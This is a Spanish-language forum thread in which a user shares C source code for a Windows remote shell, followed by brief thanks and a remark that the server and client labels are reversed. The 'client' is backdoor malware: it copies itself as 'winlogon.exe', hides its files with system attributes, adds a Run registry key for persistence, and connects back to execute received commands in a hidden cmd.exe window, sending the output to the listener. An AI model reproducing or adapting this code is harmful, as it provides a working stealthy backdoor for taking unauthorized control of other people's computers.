Shell remota

Iniciado por daryo, Diciembre 30, 2012, 02:55:25 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Diciembre 30, 2012, 02:55:25 PM Ultima modificación: Febrero 08, 2014, 05:39:55 PM por Expermicid
como es la primera vez que hago algo asi tiene varios problemas pero talves a alguien le sirva ...
server
Código: c

#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <stdio.h>



int main()
{
   WSADATA wsa;
   SOCKET sock;
   struct sockaddr_in local;
   int len=0;
   int lend=0;
   char Buffer[1024];
   char recibido[1024];

   //Inicializamos
   WSAStartup(MAKEWORD(2,0),&wsa);

   //Creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

   //defnimos dirección por defecto, ipv4 y el puerto 9999
   local.sin_family = AF_INET;
   local.sin_addr.s_addr = INADDR_ANY;
   local.sin_port = htons(9999);

   //asociamos el socket al puerto
   if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
   {
      printf("error en el bind\n");
      return -1;
   }

   //ponemos el socket a la escucha
   if (listen(sock,1)==-1)
   {
      printf("error en el listen\n");
      return -1;
   }

   len=sizeof(struct sockaddr);

   //hay una conexión entrante y la aceptamos
   sock=accept(sock,(sockaddr*)&local,&len);

   printf("daryo shell\n");

   int bytes_recv; // esta variable es para saber si llego algun comando

   while (len!=0) //mientras estemos conectados con el otro pc
   {
      memset(Buffer, 0, sizeof(Buffer)); // Limpiamos el buffer.
      fflush(stdin);
      fflush(stdout);
      //esto es para limpiar la cadena por si acaso el siguien comando no tiene respuesta ...
     for (int x=0;x<1024;x++){
     recibido[x]='\0';
     }
    //------------------------------------
      // aca se envia el comando
      printf("\n\n\nenviar comando>");
      gets(Buffer);
      len=send(sock,Buffer,strlen(Buffer),0); //recibimos los datos que envie

// aca espera la llegada del comando
    do{
        bytes_recv = recv(sock, recibido, sizeof(recibido), 0);   // Esperamos para recibir datos...
    } while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);
    if(bytes_recv > 0){
    printf(recibido);



    }

   }

   return 0;
}




cliente
Código: c

#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <cstdio>
#include <cstring>
#include <windows.h>


bool FileExists() {
FILE *archivo =fopen("windows.dll","r");

if (archivo){
     return true;
}
pclose(archivo);
return false;
}

void instalar(char *directorio,char *direccion){
CopyFile ( direccion, directorio, true );
FILE * winlog=fopen("windows.dll","w");
pclose(winlog);
// ahora escondemos el erchivo
SetFileAttributesA (directorio, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributesA ("windows.dll", FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
// ahora el registro
HKEY hkey;
char registro[60];
strcpy(registro,directorio);
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) registro, sizeof registro );
RegCloseKey (hkey);
}

int shell(){

   WSADATA wsa;
   SOCKET sock;
   struct hostent *host;
   struct sockaddr_in direc;
   int conex;
   char Buffer[1024];
   char *comando;
   int len;

   //Inicializamos
   WSAStartup(MAKEWORD(2,2),&wsa);

   //resolvemos el nombre de dominio localhost, esto se resolverá a 127.0.0.1
   host=gethostbyname("localhost");

   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (sock==-1)
   {
      return -1;
   }
   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
   //y decimos que el puerto al que deberá conectar es el 9999 con el protocolo ipv4
   direc.sin_family=AF_INET;
   direc.sin_port=htons(9999);
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);

   //Intentamos establecer la conexión
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   if (conex==-1)  //si no se ha podido conectar porque no se ha encontrado el host o no
                  //está el puerto abierto
   {
      return -1;
   }


   while (len!=-1 && strcmp(Buffer,"salir")!=0) //mientras el socket no se haya desconectado
                                               //y no se escriba salir
   {
      len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
      if (len>0)  //si seguimos conectados
      {
         Buffer[len]=0; //le ponemos el final de cadena
         comando=Buffer;
         char ejecutar[500]="c:\\windows\\system32\\cmd.exe /c ";
         strcat(ejecutar,comando);

         // ejecutar comando
       SECURITY_ATTRIBUTES sa;
       STARTUPINFO si;
       PROCESS_INFORMATION pi;

       void * leer;
       void * escribir;

       ZeroMemory(&sa,sizeof(&sa));

       sa.nLength = sizeof(SECURITY_ATTRIBUTES);
       sa.bInheritHandle = TRUE;
       sa.lpSecurityDescriptor = NULL;

       CreatePipe(&leer,&escribir,&sa,0);

       GetStartupInfoA(&si);

       si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
       si.wShowWindow = SW_HIDE;
       si.hStdOutput = escribir;
       si.hStdError  = escribir;
       si.hStdInput = leer;

       CreateProcessA(0,ejecutar,0,0,TRUE,0,0,0,&si,&pi);
       Sleep(200);
       CloseHandle(escribir);

       char buffer[1024];
       DWORD bleidos;
       ReadFile(leer,buffer,1024,&bleidos,0);
       send(sock,buffer,1024, 0);
       // un exagerado intento de mantener el buffer vacio
       memset(buffer, 0, sizeof(buffer));
       memset(Buffer, 0, sizeof(Buffer));
       for (int x=0;x<=500;x++){
       ejecutar[x]='\0';
       }
       for (int x=0;x<=1024;x++){
       Buffer[x]='\0';
       }
       fflush(stdin);
       fflush(stdout);
    //------------------------------------------

      }
   }

}

int main(int argc,char *argv[])
{
   char *directorio; // directorio de la instalacion
   char *direccion; // direccion actual
   direccion=argv[0];
   directorio=getenv("userprofile");
   SetCurrentDirectory(directorio);
   strcat(directorio,"\\winlogon.exe"); // nombre de el archivo
   // se ubica en la carpeta de usuario
   if(FileExists()){
   while(true){
   shell();
   Sleep(15000);
   }
   }
   else{
   instalar(directorio,direccion);
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   ZeroMemory( &si, sizeof(si) );
   si.cb = sizeof(si);
   ZeroMemory( &pi, sizeof(pi) );
   CreateProcess( NULL,   // No module name (use command line)
    "winlogon.exe",        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        0,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory
        &si,            // Pointer to STARTUPINFO structure
        &pi );
   }
   return 0;
}


Excelente aporte man!
Muchisimas gracias!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Excelente aporte man!
Muchisimas gracias!
por nada
me alegro que les guste :)

El orden de Servidor y Cliente esta inverso... no importa quien se conecte a quien, quien brinda el servicio es el server.